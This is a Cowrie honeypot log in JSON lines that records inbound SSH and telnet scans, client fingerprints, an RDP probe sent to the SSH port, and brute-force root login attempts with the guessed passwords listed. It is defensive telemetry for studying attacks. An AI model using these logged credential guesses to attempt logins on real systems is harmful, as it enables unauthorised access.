{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:39.230967Z","src_ip":"152.42.212.128","session":"14899a430887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:39.236413Z","src_ip":"152.42.212.128","session":"14899a430887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.973116397857666,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:42.598335Z","src_ip":"192.119.13.58","session":"a8834ee3d983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41773223876953,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:46.541416Z","src_ip":"192.119.13.58","session":"1f65d1f52af3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82330870628357,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:51.596489Z","src_ip":"192.119.13.58","session":"50b8f220dc3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49620,"dst_ip":"10.17.0.5","dst_port":23,"session":"2110ab9ffd34","protocol":"telnet","message":"New connection: 192.119.13.58:49620 (10.17.0.5:23) [session: 2110ab9ffd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:53.238393Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":47588,"dst_ip":"159.203.135.109","dst_port":22,"session":"faeaec9e0ef3","protocol":"ssh","message":"New connection: 103.166.103.173:47588 (159.203.135.109:22) [session: faeaec9e0ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:55.063175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:55.068123Z","src_ip":"103.166.103.173","session":"faeaec9e0ef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:55.310260Z","src_ip":"103.166.103.173","session":"faeaec9e0ef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winston","message":"login attempt [root/winston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:56.304125Z","src_ip":"103.166.103.173","session":"faeaec9e0ef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:57.548351Z","src_ip":"103.166.103.173","session":"faeaec9e0ef3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.211","src_port":55979,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dce6fb53b93","protocol":"telnet","message":"New connection: 198.235.24.211:55979 (159.203.135.109:23) [session: 3dce6fb53b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:06.737410Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37978,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e3f4eb5a00","protocol":"telnet","message":"New connection: 192.119.13.58:37978 (10.17.0.5:23) [session: b0e3f4eb5a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:09.469701Z"}
{"eventid":"cowrie.session.closed","duration":32.346784830093384,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:10.508356Z","src_ip":"192.119.13.58","session":"86883ddbe848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.061628103256226,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:12.094956Z","src_ip":"192.119.13.58","session":"8b23975573eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":33588,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a74ae4bde03","protocol":"ssh","message":"New connection: 43.134.177.27:33588 (10.17.0.5:22) [session: 8a74ae4bde03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:12.366727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:12.372562Z","src_ip":"43.134.177.27","session":"8a74ae4bde03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.04925584793091,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:12.604504Z","src_ip":"192.119.13.58","session":"150b7ebf84dd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:12.618906Z","src_ip":"43.134.177.27","session":"8a74ae4bde03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@qaz","message":"login attempt [root/123@qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:13.634027Z","src_ip":"43.134.177.27","session":"8a74ae4bde03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:14.884299Z","src_ip":"43.134.177.27","session":"8a74ae4bde03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":11666,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f8055a1c1e","protocol":"ssh","message":"New connection: 186.122.177.140:11666 (10.17.0.5:22) [session: 81f8055a1c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:17.215620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:17.342536Z","src_ip":"186.122.177.140","session":"81f8055a1c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:17.530463Z","src_ip":"186.122.177.140","session":"81f8055a1c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45876,"dst_ip":"10.17.0.5","dst_port":23,"session":"6849eb56718e","protocol":"telnet","message":"New connection: 192.119.13.58:45876 (10.17.0.5:23) [session: 6849eb56718e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:18.222602Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX#EDC","message":"login attempt [root/!QAZ@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:18.547613Z","src_ip":"186.122.177.140","session":"81f8055a1c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:19.775425Z","src_ip":"186.122.177.140","session":"81f8055a1c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60650,"dst_ip":"10.17.0.5","dst_port":23,"session":"67259b1815ce","protocol":"telnet","message":"New connection: 192.119.13.58:60650 (10.17.0.5:23) [session: 67259b1815ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:21.678518Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":58816,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3adf2d681ae","protocol":"ssh","message":"New connection: 37.233.85.71:58816 (10.17.0.5:22) [session: d3adf2d681ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:22.042817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:22.048045Z","src_ip":"37.233.85.71","session":"d3adf2d681ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:22.153280Z","src_ip":"37.233.85.71","session":"d3adf2d681ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.142.13.189","src_port":52618,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe04dafde219","protocol":"telnet","message":"New connection: 220.142.13.189:52618 (159.203.135.109:23) [session: fe04dafde219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:22.312511Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1998","message":"login attempt [root/dima1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:22.471055Z","src_ip":"37.233.85.71","session":"d3adf2d681ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":45846,"dst_ip":"10.17.0.5","dst_port":22,"session":"f18c7fa02872","protocol":"ssh","message":"New connection: 35.225.56.202:45846 (10.17.0.5:22) [session: f18c7fa02872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:23.032081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:23.037084Z","src_ip":"35.225.56.202","session":"f18c7fa02872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:23.076755Z","src_ip":"35.225.56.202","session":"f18c7fa02872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dnflskfk","message":"login attempt [root/dnflskfk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:23.254953Z","src_ip":"35.225.56.202","session":"f18c7fa02872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:23.578058Z","src_ip":"37.233.85.71","session":"d3adf2d681ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":49368,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee8206c6b99a","protocol":"ssh","message":"New connection: 43.135.177.217:49368 (10.17.0.5:22) [session: ee8206c6b99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:24.123336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:24.128294Z","src_ip":"43.135.177.217","session":"ee8206c6b99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:24.197327Z","src_ip":"43.135.177.217","session":"ee8206c6b99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:24.294866Z","src_ip":"35.225.56.202","session":"f18c7fa02872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.13185715675354,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:24.404947Z","src_ip":"192.119.13.58","session":"9a6e2976e1db","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"network","message":"login attempt [root/network] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:24.505653Z","src_ip":"43.135.177.217","session":"ee8206c6b99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:25.577554Z","src_ip":"43.135.177.217","session":"ee8206c6b99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42154,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4e11fc99585","protocol":"telnet","message":"New connection: 192.119.13.58:42154 (10.17.0.5:23) [session: f4e11fc99585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:30.306497Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53100,"dst_ip":"10.17.0.5","dst_port":23,"session":"71c04e0fa7b7","protocol":"telnet","message":"New connection: 192.119.13.58:53100 (10.17.0.5:23) [session: 71c04e0fa7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:33.011749Z"}
{"eventid":"cowrie.session.closed","duration":41.88692808151245,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:35.125110Z","src_ip":"192.119.13.58","session":"2110ab9ffd34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65751814842224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:37.394793Z","src_ip":"198.235.24.211","session":"3dce6fb53b93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50066,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb71ef700d1","protocol":"telnet","message":"New connection: 192.119.13.58:50066 (10.17.0.5:23) [session: 0fb71ef700d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:38.214386Z"}
{"eventid":"cowrie.session.closed","duration":16.68415355682373,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:38.996543Z","src_ip":"220.142.13.189","session":"fe04dafde219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":57224,"dst_ip":"159.203.135.109","dst_port":22,"session":"1456c80dd202","protocol":"ssh","message":"New connection: 103.210.22.17:57224 (159.203.135.109:22) [session: 1456c80dd202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:39.760092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:39.766913Z","src_ip":"103.210.22.17","session":"1456c80dd202","protocol":"ssh"}
